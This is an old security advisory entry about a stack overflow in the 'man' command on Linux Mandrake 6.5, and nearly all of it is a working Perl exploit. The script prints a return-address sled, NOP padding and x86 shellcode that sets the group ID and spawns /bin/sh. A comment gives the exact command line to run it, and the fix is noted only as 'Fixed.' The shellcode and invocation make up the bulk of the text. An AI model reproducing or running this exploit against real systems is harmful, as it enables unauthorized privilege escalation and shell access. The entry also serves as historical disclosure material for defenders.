COMMAND

    man

SYSTEMS AFFECTED

    Linux Mandrake 6.5

PROBLEM

    Hello here is one oldie just for fun...

    #!/usr/bin/perl
    #
    # -*-*--*-*--*-*--*-*--*-*--*-*--*-*-*-*
    # |  perl stack overflow for,          |
    # |  man (version:Mandrake Linux 6.5)  |
    # -*-*--*-*--*-*--*-*--*-*--*-*--*-*-*-*
    #
    # by: jleet
    #
    # Greets:necr0mancer/John Q. Public/Phlem.
    #
    # gets gid: man.
    #
    # to run exploit do this:
    # man -P `./man.pl` man
    #
    # werd.
    
    print "\xff\x7f\x40\x9a" x 4050;
    print "\x90" x 100;
    print "\x31\xc0\xb0\x0f\x89\xc3\x89\xc1\xb0\x47\xcd\x80";
    print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89";
    print "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c";
    print "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff";
    print "\xff\xff/bin/sh";

SOLUTION

    Fixed.